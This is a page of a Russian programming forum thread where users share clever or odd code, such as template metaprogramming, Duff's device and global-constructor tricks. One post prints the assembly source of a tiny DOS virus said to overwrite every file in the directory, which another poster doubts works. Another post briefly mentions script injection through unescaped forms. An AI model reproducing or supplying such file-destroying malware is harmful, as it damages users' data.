Одесса: 5°С (вода 8°С)
Киев: 0°С
Львов: 1°С

Тема: Прикольные коды

Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 20 из 35
  1. Вверх #1
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1

    По умолчанию Прикольные коды

    Народ, предлагаю поделиться прикольными кодами.
    То есть, чем-то не обычным, что используется не по назначению,
    или не очевидным образом.

    Для почина.
    Не знаю, сталкивались вы или нет с метапрограммированием на темплейтах.
    Но этот код из Мэейрса, широкоизвестный в узких кругах,
    который вычисляет фактариал на стадии компиляции,
    меня приколол:

    #include "stdafx.h"
    #include <iostream>

    template<unsigned n>
    struct factorial
    {
    enum { value = n*factorial<n-1>::value };
    };

    template<>
    struct factorial<0>
    {
    enum { value = 1 };
    };

    int _tmain(int argc, _TCHAR* argv[])
    {
    std::cout << factorial<10>::value << std::endl;
    return 0;
    }

    В примере - факториал от 10.
    Проверял на VC++ 2005, работает без проблем .


  2. Вверх #2
    Постоялец форума Аватар для Newton
    Пол
    Мужской
    Адрес
    Calgary, Alberta
    Сообщений
    1,080
    Репутация
    775
    вещь прикольная, но очень стремная, чтоб использовать в вычислениях ))

    ведь если поставишь factorial<100>::value неизвестно что выдаст, и ошибку переполнения скорее всего не отследишь. Одним словом - искусство (красиво но не практично).
    Моя хата з найкращого краю в світі.

  3. Вверх #3
    Не покидает форум Аватар для Ull9
    Пол
    Мужской
    Адрес
    Мюнхен
    Сообщений
    18,454
    Репутация
    1112
    Записей в дневнике
    1
    а разве это маэрс? мне кажется я у гуртового это в книге читал.
    а вообще вся книжка александреску -Современный дизайн, прикольная.
    Последний раз редактировалось Ull9; 29.11.2007 в 12:47.

  4. Вверх #4
    а как вам это :
    if (var) {
    var = true;
    }else{
    var=false
    }

    писали индусы которым платили за код построчно )))
    Sic Vis Pacem, Parra Bellum

  5. Вверх #5
    Постоялец форума Аватар для Пилигрим
    Пол
    Мужской
    Адрес
    Одесса
    Возраст
    31
    Сообщений
    1,215
    Репутация
    134
    скажу, что они между } и else забыли переход на новую строку поставить

  6. Вверх #6
    Цитата Сообщение от Пилигрим Посмотреть сообщение
    скажу, что они между } и else забыли переход на новую строку поставить
    это я просто по памяти набирал - но в коде еще была полная реализация синхронизации - в каждом из классов
    Sic Vis Pacem, Parra Bellum

  7. Вверх #7
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1
    Цитата Сообщение от Evilsun Посмотреть сообщение
    а как вам это :
    if (var) {
    var = true;
    }else{
    var=false
    }

    писали индусы которым платили за код построчно )))
    Это не прикольно, это - тривиально.

    прикольно, например, так:

    class A
    {
    . . .
    };

    A a;

    void main()
    {
    }

    и всю работу делает глобальная переменная a, до выполнения main ;-)

  8. Вверх #8
    Не откладывай на завтра то, что можно отложить на послезавтра!

  9. Вверх #9
    Частый гость Аватар для valheru
    Пол
    Мужской
    Адрес
    Одесса
    Возраст
    41
    Сообщений
    852
    Репутация
    55
    Вот это замечательно:
    http://perlmonks.org/?node_id=176043

  10. Вверх #10
    http://www.thomasscovell.com/tattoo.php
    или просто поиск по 'obfuscated code'.
    А вообще когда-то произвела большое впечатление (и чуть не убила желание программировать) правильно написанная программа hello world:
    http://ftp.gnu.org/gnu/hello/hello-2.3.tar.gz
    документация в PDF - http://www.gnu.org/software/hello/manual/hello.pdf
    The future is already here - it is just unevenly distributed. (c) W. Gibson

  11. Вверх #11
    Новичок
    Пол
    Мужской
    Возраст
    37
    Сообщений
    86
    Репутация
    19
    А если в при обработке формы не заменяются тэги html, можно ввести сценарий JavaScript, который перенаправляет на другую страницу)

  12. Вверх #12
    Вот такое дерьмо мамонта...

    Код:
    send(to, from, count)
    register short *to, *from;
    register count;
    {
            register n=(count+7)/8;
            switch(count%8){
            case 0:       do{      *to = *from++;
            case 7:               *to = *from++;
            case 6:               *to = *from++;
            case 5:               *to = *from++;
            case 4:               *to = *from++;
            case 3:               *to = *from++;
            case 2:               *to = *from++;
            case 1:               *to = *from++;
                    }while(--n>0);
            }
    http://en.wikipedia.org/wiki/Duff's_device

    Кстати а кто-то применял в С-коде хоть раз конструкции типа 16[a+b] ?
    The future is already here - it is just unevenly distributed. (c) W. Gibson

  13. Вверх #13
    Постоялец форума
    Пол
    Мужской
    Адрес
    Одесса
    Сообщений
    1,029
    Репутация
    249
    Самый "прикольный" код который я когда-либо встречал - это код самого маленького вируса в мире (rem22).

    .model tiny
    .code
    .startup
    start:
    pop cx
    hel:
    xchg ax,bx
    db 108h shr 1
    db 4eh ; dec si
    db 9eh shr 1
    db 3ch ;cmp al,xx
    db 100h shr 1
    db 40h
    fmask db '*.*',0
    lodsw
    cwd
    mov dl,al
    shl dx,1
    int 21h
    jmp hel
    end
    Вы можете не поверить, но сей код: 1. Находит все файлы в текущей директории (FindFirst/FindNext) 2. Открывает их на запись (CreateFile) 3. Пишет в них свой код (WriteFile) 4. Все это в цикле 5. Корректно выходит (terminate)

    Позже, у ребят с hugi (compo) встречал подобные техники в довольно больших программах.
    До этого считал себя крутым программером на асме.
    Последний раз редактировалось Broken Sword; 11.12.2007 в 10:02.

  14. Вверх #14
    Цитата Сообщение от lexar Посмотреть сообщение
    Это не прикольно, это - тривиально.

    прикольно, например, так:

    class A
    {
    . . .
    };

    A a;

    void main()
    {
    }

    и всю работу делает глобальная переменная a, до выполнения main ;-)
    Особый прикол возникает, когда выясняется что конструктору A по новой спецификации требуется передать аргументы командной строки программы.

    Имхо глобальные переменные - выдумки Ктулху.
    The future is already here - it is just unevenly distributed. (c) W. Gibson

  15. Вверх #15
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1
    Цитата Сообщение от Broken Sword Посмотреть сообщение
    Самый "прикольный" код который я когда-либо встречал - это код самого маленького вируса в мире (rem22).



    Вы можете не поверить, но сей код: 1. Находит все файлы в текущей директории (FindFirst/FindNext) 2. Открывает их на запись (CreateFile) 3. Пишет в них свой код (WriteFile) 4. Все это в цикле 5. Корректно выходит (terminate)

    Позже, у ребят с hugi (compo) встречал подобные техники в довольно больших программах.
    До этого считал себя крутым программером на асме.
    А кто мне объяснит, зачем в этом "самом коротком коде" метка start:?

  16. Вверх #16
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1
    Цитата Сообщение от homo ludens Посмотреть сообщение
    Особый прикол возникает, когда выясняется что конструктору A по новой спецификации требуется передать аргументы командной строки программы.

    Имхо глобальные переменные - выдумки Ктулху.
    Т.к. программа уже запущена на момент выполнения конструктора ;-)
    аргументы командной строки наверняка тем или иным способом можно
    вытащить.

    Кстати, отсутствие под рукой функции main, скорее правило,
    чем исключение для многих оболочек.
    Я что-то не помню, что бы мне хоть раз пришлось докапываться
    до main или WiwMain в MFC.

  17. Вверх #17
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1
    Цитата Сообщение от homo ludens Посмотреть сообщение

    Кстати а кто-то применял в С-коде хоть раз конструкции типа 16[a+b] ?
    Я нечто такое делал, когда в DOS напрямую лез в экранную область,
    но для удобства ставил на адрес указатель (тем более,
    он был разный для разных дисплеев).

    В С++ нужно прямое приведение к типу.
    В ниже приведенном коде 0x0012ff3c - адрес массива a,
    который я подглядел в отладчике.
    Программа работает "корректно".

    #include "stdafx.h"
    #include <iostream>
    using namespace std;

    int _tmain(int argc, _TCHAR* argv[])
    {
    int a[10];

    ((int*)0x0012ff3c)[0]=5;

    cout << ((int*)0x0012ff3c)[0] << endl;

    return 0;
    }

    Интересно, а пытался ли кто-либо таким макаром привязывать
    программу к конкретным настройкам компилятора ?-)

  18. Вверх #18
    Цитата Сообщение от lexar Посмотреть сообщение
    А кто мне объяснит, зачем в этом "самом коротком коде" метка start:?
    ЕМНИП это точка входа в программу. Давно чисто ассемблерный код не писал, все инлайнами в С больше...

    Цитата Сообщение от lexar Посмотреть сообщение
    Т.к. программа уже запущена на момент выполнения конструктора ;-)
    аргументы командной строки наверняка тем или иным способом можно
    вытащить.
    Не поверишь, до сих пор не знаю универсального способа.
    Т.е. где-то эти argc/argv конечно есть, но вот по стандарту они передаются только main...
    А что на момент выполнения конструктора программа может быть не запущена?
    Цитата Сообщение от lexar Посмотреть сообщение
    Кстати, отсутствие под рукой функции main, скорее правило,
    чем исключение для многих оболочек.
    Я что-то не помню, что бы мне хоть раз пришлось докапываться
    до main или WiwMain в MFC.
    В стандарте написано main - значит все остальное от лукавого или майкрософт.
    Вот прикинь, что делать если надо юзать две разных оболочки одновременно. И в одной программа стартует с SuperMain а в другой - с HyperMain. А реальный main запрятан в глубине обоих.
    Тоже до сих пор не знаю способа обойти такое.
    Правда на эти грабли, слава Ктулху еще не наступал - боюсь я этих оболочек ногами писаных...

    Цитата Сообщение от lexar Посмотреть сообщение
    Я нечто такое делал, когда в DOS напрямую лез в экранную область,
    Я имел в виду чуть другое. По стандарту С записи a[5] и 5[a] абсолютно равноправны. Независимо от типа переменных.
    Потому для усиления нечитабельности кода можно смело их менять местами.
    Вот в С++ не знаю. Прикольно если это там осталось реликтом.
    The future is already here - it is just unevenly distributed. (c) W. Gibson

  19. Вверх #19
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1
    Цитата Сообщение от homo ludens Посмотреть сообщение
    ЕМНИП это точка входа в программу. Давно чисто ассемблерный код не писал, все инлайнами в С больше...
    Start: - не точка входа, а лажа.
    Если это точка входа - метка должна стоять за оператором end.
    Но tiny модель пишется иначе.
    Гарантированно - этот код просто не заработает нормально,
    не то, что что-то выполнять.
    Проверять мне, как и остальным, лень.
    Но шарой тянет за версту.

    Цитата Сообщение от homo ludens Посмотреть сообщение
    Не поверишь, до сих пор не знаю универсального способа.
    Т.е. где-то эти argc/argv конечно есть, но вот по стандарту они передаются только main...
    А что на момент выполнения конструктора программа может быть не запущена?
    В виндах main вообще нет - используется WinMain с совсем другими параметрами.

    Цитата Сообщение от homo ludens Посмотреть сообщение
    Вот прикинь, что делать если надо юзать две разных оболочки одновременно. И в одной программа стартует с SuperMain а в другой - с HyperMain. А реальный main запрятан в глубине обоих.
    Тоже до сих пор не знаю способа обойти такое.
    Такого просто не бывает - main предпологает исполняемый процесс.
    Процесс не может запускаться с двух дырок сразу.

  20. Вверх #20
    Ловец Снов Аватар для lexar
    Пол
    Мужской
    Сообщений
    11,535
    Репутация
    7269
    Записей в дневнике
    1

    По умолчанию Еще один прикол

    int main(int argc, _TCHAR* argv[])
    {
    (void)argc;
    (void)argv;
    //...

    return 0;
    }

    Это не бред сумасшедшего,
    это народ побеждал варнинг "неиспользуемая переменная".


Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Социальные закладки

Социальные закладки

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения